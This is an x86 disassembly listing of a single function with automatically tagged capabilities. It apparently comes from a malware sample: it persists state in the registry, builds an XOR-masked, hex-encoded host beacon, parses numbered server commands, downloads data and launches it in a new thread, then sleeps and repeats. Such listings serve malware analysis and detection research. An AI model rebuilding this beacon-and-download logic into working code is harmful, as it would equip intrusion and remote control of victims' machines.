Function at 0x40265f
Capabilities:
Create thread
Hash data with crc32
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp - 0x250]
push edi
push esi
push ebx
sub esp, 0x290
push 0
push eax
push 0x408778
push 0xf003f
push 0
push 0
push 0
push 0x4087c0
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyExA
test eax, eax
je 0x4026a1
mov dword [ebp - 0x250], 0
push 0
lea eax, [ebp - 0x254]
push eax
push 0x408778
push 0xf003f
push 0
push 0
push 0
push 0x4087c0
push 0x80000001
call sub.ADVAPI32.DLL_RegCreateKeyExA
mov dword [ebp - 0x258], 0x12
mov edx, dword [ebp - 0x250]
test edx, edx
je 0x402700
lea eax, [ebp - 0x258]
push eax
push 0x412190
push 0
push 0
push 0x408798
push edx
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
je 0x402788
lea eax, [ebp - 0x258]
push eax
push 0x412190
push 0
push 0
push 0x408798
push dword [ebp - 0x254]
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
je 0x402788
push 0x412190
mov dword [0x412198], 0x33abd8f4
call sub.KERNEL32.DLL_GetSystemTimeAsFileTime
mov dword [0x41219c], 0
mov eax, dword [ebp - 0x250]
mov word [0x4121a0], 0x31
test eax, eax
je 0x40276b
push 0x12
push 0x412190
push 3
push 0
push 0x408798
push eax
call sub.ADVAPI32.DLL_RegSetValueExA
push 0x12
push 0x412190
push 3
push 0
push 0x408798
push dword [ebp - 0x254]
call sub.ADVAPI32.DLL_RegSetValueExA
jmp 0x402791
mov word [0x4121a0], 0x31
call fcn.00402427
test eax, eax
jne 0x4030c3
mov eax, dword [0x4121c0]
test eax, eax
je 0x4027e8
push 0
lea ebx, [ebp - 0x258]
push ebx
mov dword [ebp - 0x258], 0
push 0
call eax
mov eax, dword [ebp - 0x258]
add eax, 0x12
and eax, 0xfffffffc
call fcn.00405c00
lea edi, [esp + 0xf]
and edi, 0xfffffff0
mov dword [edi], 0
push 0
push ebx
push edi
call dword [0x4121c0]
jmp 0x4027f8
sub esp, 0x14
lea edi, [esp + 0xf]
and edi, 0xfffffff0
mov dword [edi], 0
push 0x412104
lea ebx, [ebp - 0x24c]
push dword [0x4120fc]
push dword [0x4120f8]
push dword [0x4120f4]
push 0x410487
push ebx
call sub.USER32.dll_wsprintfA
push ebx
call sub.KERNEL32.DLL_lstrlenA
add eax, 0x18
add esp, 0x18
mov dword [ebp - 0x280], eax
mov edx, dword [ebp - 0x280]
mov eax, dword [edi]
lea eax, [edx + eax*4 + 0x15]
and eax, 0xfffffffc
call fcn.00405c00
lea esi, [esp + 0xf]
and esi, 0xfffffff0
mov byte [esi], 2
call fcn.004010b2
mov dword [esi + 1], eax
cmp byte [section..bss], 1
mov dword [ebp - 0x284], eax
mov eax, dword [0x41219c]
mov word [esi + 9], 0x31
mov dword [esi + 5], eax
sbb eax, eax
not eax
and eax, 2
cmp dword [0x41219c], 0
jne 0x402886
or eax, 4
cmp dword [0x412100], 2
jne 0x402892
or eax, 8
cmp dword [ebp + 8], 0
jne 0x40289b
or eax, 0x10
cmp byte [0x412020], 0
je 0x4028a7
or eax, 0x20
cmp dword [0x412030], 0
je 0x4028b3
or eax, 0x40
mov dword [esi + 0xb], eax
mov eax, dword [0x4120e4]
mov word [esi + 0xf], ax
mov eax, dword [0x4120e8]
mov word [esi + 0x11], ax
mov eax, dword [0x4120ec]
mov byte [esi + 0x15], 0
mov byte [esi + 0x16], 0
mov word [esi + 0x13], ax
call fcn.004025c3
test eax, eax
jne 0x4028e6
or dword [esi + 0xb], 1
mov dword [ebp - 0x25c], 0
lea eax, [esi + 0x17]
mov dword [ebp - 0x260], eax
xor eax, eax
cmp eax, dword [edi]
jae 0x402944
imul eax, eax, 0x18
mov ecx, dword [eax + edi + 4]
test ecx, ecx
setne dl
xor eax, eax
cmp ecx, 0x100007f
setne al
test edx, eax
je 0x402935
add dword [ebp - 0x280], 4
mov eax, dword [ebp - 0x260]
mov dword [eax], ecx
add eax, 4
mov dword [ebp - 0x260], eax
inc byte [esi + 0x15]
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
jmp 0x4028fb
lea eax, [ebp - 0x24c]
lea ebx, [esi + 5]
push eax
push dword [ebp - 0x260]
call sub.KERNEL32.DLL_lstrcpyA
mov eax, ebx
sub eax, esi
mov dword [ebp - 0x25c], eax
cmp eax, dword [ebp - 0x280]
jae 0x402987
mov ecx, dword [ebp - 0x284]
xor dword [ebx], ecx
add ebx, 4
mov eax, dword [ebp - 0x25c]
add eax, 4
mov dword [ebp - 0x25c], eax
jmp 0x402963
mov eax, dword [0x412198]
lea ebx, [ebp - 0x14c]
mov edx, ebx
call fcn.004014f6
mov edx, dword [ebp - 0x280]
lea eax, [edx + edx + 0x55]
and eax, 0xfffffffc
call fcn.00405c00
lea eax, [esp + 0xf]
and eax, 0xfffffff0
push ebx
mov ebx, esi
push 0x4104d3
push eax
mov dword [ebp - 0x260], eax
call sub.USER32.dll_wsprintfA
mov dword [ebp - 0x25c], 0
mov edi, eax
add esp, 0xc
add edi, dword [ebp - 0x260]
cmp dword [ebp - 0x280], 0
je 0x402a0f
movzx eax, byte [ebx]
inc ebx
push eax
push str._02X
push edi
add edi, 2
call sub.USER32.dll_wsprintfA
mov eax, dword [ebp - 0x25c]
add esp, 0xc
inc eax
cmp eax, dword [ebp - 0x280]
mov dword [ebp - 0x25c], eax
jb 0x4029e4
push 1
mov eax, dword [ebp - 0x260]
xor edx, edx
call fcn.004019e8
mov ebx, eax
test ebx, ebx
pop eax
je 0x40301b
cmp dword [ebp + 8], 0
jne 0x402a36
push 0
call sub.KERNEL32.DLL_ExitProcess
cmp dword [ebx], 0
lea edx, [ebp - 0x10c]
je 0x402a67
lea eax, [ebp - 0x25c]
push eax
push 0x100
push edx
push dword [ebx + 4]
call dword [0x4121f0]
test eax, eax
jne 0x402a7e
mov dword [ebp - 0x25c], 0xffffffff
jmp 0x402a7e
mov eax, dword [ebx + 4]
push 0x28
push 0x100
call fcn.00401625
pop edi
mov dword [ebp - 0x25c], eax
pop eax
mov eax, ebx
call fcn.00401f59
mov ecx, dword [ebp - 0x25c]
cmp ecx, 0xffffffff
setne al
xor edx, edx
test ecx, ecx
setne dl
test eax, edx
je 0x40301b
cmp byte [ebp - 0x10b], 0x20
jne 0x40301b
movzx eax, byte [ebp - 0x10c]
sub al, 0x30
cmp al, 4
ja 0x40301b
push 0x10
lea edx, [ebp - 0x260]
lea eax, [ebp - 0x10a]
mov byte [ecx + ebp - 0x10c], 0
call fcn.0040136b
mov dword [ebp - 0x25c], eax
test eax, eax
pop esi
je 0x402af2
cmp dword [0x41219c], 0
jne 0x402af2
mov dword [0x41219c], eax
push 0x412190
call sub.KERNEL32.DLL_GetSystemTimeAsFileTime
mov eax, dword [ebp - 0x250]
test eax, eax
je 0x402b1c
push 0x12
push 0x412190
push 3
push 0
push 0x408798
push eax
call sub.ADVAPI32.DLL_RegSetValueExA
push 0x12
push 0x412190
push 3
push 0
push 0x408798
push dword [ebp - 0x254]
call sub.ADVAPI32.DLL_RegSetValueExA
movsx eax, byte [ebp - 0x10c]
cmp eax, 0x31
je 0x402b6a
jg 0x402b53
cmp eax, 0x30
je 0x402d4e
jmp 0x40301b
cmp eax, 0x33
je 0x402c84
cmp eax, 0x34
je 0x402cd8
jmp 0x40301b
mov ecx, dword [ebp - 0x260]
test ecx, ecx
je 0x40301b
movzx eax, byte [ecx]
cmp al, 0x20
sete dl
cmp al, 9
sete al
or eax, edx
test al, 1
je 0x402bb0
lea eax, [ecx + 1]
mov dword [ebp - 0x260], eax
movzx edx, byte [ecx + 1]
test dl, dl
je 0x40301b
cmp dl, 0x20
mov ecx, eax
sete al
cmp dl, 9
sete dl
jmp 0x402b85
mov eax, dword [ebp - 0x260]
mov edx, 0x20
call fcn.0040134d
cmp eax, 1
mov edi, eax
mov esi, dword [ebp - 0x260]
sbb edi, 0xffffffff
mov edx, 0x55
mov eax, edi
call fcn.0040134d
xor ebx, ebx
mov edx, 0x43
test eax, eax
mov eax, edi
sete bl
call fcn.0040134d
test eax, eax
mov edx, ebx
je 0x402bf6
or edx, 2
push edx
mov eax, esi
xor edx, edx
push 0
call fcn.0040211b
pop ecx
test eax, eax
pop ebx
je 0x4030c3
mov edx, 0x52
mov eax, edi
call fcn.0040134d
test eax, eax
je 0x4030c3
push 0
lea eax, [ebp - 0x264]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push 0x410240
push 0x80000002
call sub.ADVAPI32.DLL_RegCreateKeyExA
test eax, eax
jne 0x4030c3
push 4
lea eax, [ebp - 0x268]
push eax
push 4
push 0
push 0x410183
push dword [ebp - 0x264]
mov dword [ebp - 0x268], 0x1e
call sub.ADVAPI32.DLL_RegSetValueExA
push dword [ebp - 0x264]
call sub.ADVAPI32.DLL_RegCloseKey
jmp 0x4030c3
mov dword [0x412198], 0x33abd8f4
mov eax, dword [ebp - 0x250]
test eax, eax
je 0x402cae
push 0x12
push 0x412190
push 3
push 0
push 0x408798
push eax
call sub.ADVAPI32.DLL_RegSetValueExA
push 0x12
push 0x412190
push 3
push 0
push 0x408798
push dword [ebp - 0x254]
call sub.ADVAPI32.DLL_RegSetValueExA
push 0x1388
call sub.KERNEL32.DLL_Sleep
jmp 0x40279e
cmp byte [ebp - 0x10a], 0x20
lea edx, [ebp - 0x10a]
mov dword [ebp - 0x26c], edx
jle 0x402d00
lea eax, [ebp - 0x109]
mov dword [ebp - 0x26c], eax
inc eax
cmp byte [eax - 1], 0x20
jg 0x402cf3
mov eax, dword [ebp - 0x26c]
mov byte [eax], 0
mov eax, edx
call fcn.00401cb0
test eax, eax
mov esi, eax
je 0x402d4e
mov eax, 0x400
mov ebx, 0x400
call fcn.00401000
mov dword [ebp - 0x290], eax
mov dword [ebp - 0x274], 0
jmp 0x402d86
cmp eax, 0xffffffff
jne 0x402d5d
mov eax, esi
call fcn.00401f59
mov eax, dword [ebp - 0x290]
call fcn.00401029
mov dword [0x4122e0], 0
jmp 0x4030c3
add eax, dword [ebp - 0x274]
cmp eax, ebx
mov dword [ebp - 0x274], eax
jb 0x402d86
mov eax, dword [ebp - 0x290]
add ebx, 0x400
mov edx, ebx
call fcn.0040100f
mov dword [ebp - 0x290], eax
mov eax, dword [ebp - 0x274]
mov ecx, ebx
mov edx, dword [ebp - 0x290]
sub ecx, eax
add edx, eax
mov eax, esi
push ecx
call fcn.00401e00
pop edx
test eax, eax
jne 0x402d37
mov eax, esi
call fcn.00401f59
mov eax, dword [ebp - 0x274]
inc eax
cmp eax, ebx
jb 0x402dcb
mov eax, dword [ebp - 0x290]
inc ebx
mov edx, ebx
call fcn.0040100f
mov dword [ebp - 0x290], eax
mov eax, dword [ebp - 0x274]
mov edx, dword [ebp - 0x290]
mov byte [eax + edx], 0
mov edx, dword [ebp - 0x274]
mov eax, dword [ebp - 0x290]
call fcn.00401dd7
cmp dword [0x412300], eax
mov dword [ebp - 0x294], eax
jne 0x402e07
cmp dword [0x412050], 0
jne 0x402d43
push 0
mov eax, dword [ebp - 0x290]
lea edx, [ebp - 0x26c]
call fcn.0040136b
pop edi
mov dword [ebp - 0x288], eax
lea eax, [ebp - 0x26c]
call fcn.004014bc
mov eax, dword [ebp - 0x26c]
cmp byte [eax], 0
je 0x402d43
push 0
lea edx, [ebp - 0x26c]
call fcn.0040136b
pop esi
mov dword [ebp - 0x28c], eax
lea eax, [ebp - 0x26c]
call fcn.004014bc
mov eax, dword [ebp - 0x26c]
cmp byte [eax], 0
je 0x402d43
mov eax, 8
call fcn.00401000
mov dword [ebp - 0x298], eax
mov dword [eax], 0
mov dword [eax + 4], 0
add eax, 4
mov dword [ebp - 0x29c], eax
mov eax, dword [ebp - 0x26c]
mov dword [ebp - 0x270], eax
lea eax, [ebp - 0x270]
call fcn.004014bc
mov eax, dword [ebp - 0x26c]
cmp byte [eax], 0xa
je 0x402f71
push 0
lea edx, [ebp - 0x26c]
call fcn.0040136b
mov dword [ebp - 0x274], eax
mov ecx, dword [ebp - 0x26c]
pop ebx
movzx eax, byte [ecx]
cmp al, 0x20
sete dl
cmp al, 9
sete al
or eax, edx
test al, 1
je 0x402efe
inc ecx
mov dword [ebp - 0x26c], ecx
inc ecx
movzx eax, byte [ecx - 1]
cmp al, 0x20
sete dl
cmp al, 9
sete al
or eax, edx
test al, 1
jne 0x402ee3
mov eax, dword [ebp - 0x270]
sub eax, dword [ebp - 0x26c]
add eax, 8
call fcn.00401000
mov ebx, eax
mov eax, dword [ebp - 0x270]
mov edx, dword [ebp - 0x26c]
lea edi, [ebx + 8]
mov esi, eax
sub esi, edx
je 0x402f44
mov ecx, esi
dec ecx
je 0x402f3d
movzx eax, byte [edx]
inc edx
mov byte [edi], al
inc edi
test al, al
jne 0x402f2b
test ecx, ecx
jne 0x402f4c
test esi, esi
je 0x402f44
mov byte [edi], 0
movzx eax, byte [edx]
inc edx
test al, al
jne 0x402f44
mov eax, dword [ebp - 0x274]
mov ecx, dword [ebp - 0x29c]
mov edx, dword [ebp - 0x298]
mov dword [ebx], eax
lea eax, [ebx + 4]
mov dword [ecx], ebx
mov dword [ebp - 0x29c], eax
mov eax, dword [edx + 4]
mov dword [ebx + 4], eax
mov eax, dword [ebp - 0x270]
mov dword [ebp - 0x26c], eax
cmp byte [eax], 0
jne 0x402e8f
mov eax, dword [ebp - 0x290]
call fcn.00401029
mov eax, dword [ebp - 0x28c]
mov ecx, dword [ebp - 0x288]
mov edx, dword [ebp - 0x298]
mov dword [0x4122f0], eax
lea eax, [ebp - 0x274]
mov esi, dword [0x412050]
push eax
push 0
push 0
push 0x401ffd
mov dword [0x4122e0], ecx
mov ecx, dword [ebp - 0x294]
push pe_overlay
push 0
mov dword [0x412050], edx
mov dword [0x412300], ecx
call sub.KERNEL32.DLL_CreateThread
push eax
call sub.KERNEL32.DLL_CloseHandle
test esi, esi
je 0x4030c3
cmp dword [esi], 0
jne 0x4030c3
mov ebx, dword [esi + 4]
test ebx, ebx
je 0x40300f
mov eax, ebx
mov ebx, dword [ebx + 4]
call fcn.00401029
cmp ebx, dword [esi + 4]
jmp 0x402ffe
mov eax, esi
call fcn.00401029
jmp 0x4030c3
lea ebx, [ebp - 0x27c]
push ebx
call sub.KERNEL32.DLL_GetSystemTimeAsFileTime
mov edx, 0x412190
mov eax, ebx
call fcn.004014d8
cmp eax, 0x2a2ff
jbe 0x4030c3
mov edx, dword [ebp - 0x278]
lea ecx, [ebp - 0x14c]
mov eax, dword [ebp - 0x27c]
mov dword [0x412194], edx
or edx, 0xffffffff
cmp byte [ebp - 0x14c], 0
mov dword [0x412190], eax
je 0x403080
mov eax, edx
shr eax, 8
xor dl, byte [ecx]
inc ecx
movzx edx, dl
xor eax, dword [edx*4 + 0x410880]
cmp byte [ecx], 0
mov edx, eax
jmp 0x403065
mov eax, dword [ebp - 0x250]
not edx
mov dword [0x412198], edx
test eax, eax
je 0x4030a8
push 0x12
push 0x412190
push 3
push 0
push 0x408798
push eax
call sub.ADVAPI32.DLL_RegSetValueExA
push 0x12
push 0x412190
push 3
push 0
push 0x408798
push dword [ebp - 0x254]
call sub.ADVAPI32.DLL_RegSetValueExA
cmp dword [ebp + 8], 1
sbb eax, eax
and eax, 0xfff74d70
add eax, 0x927c0
push eax
call sub.KERNEL32.DLL_Sleep
jmp 0x402791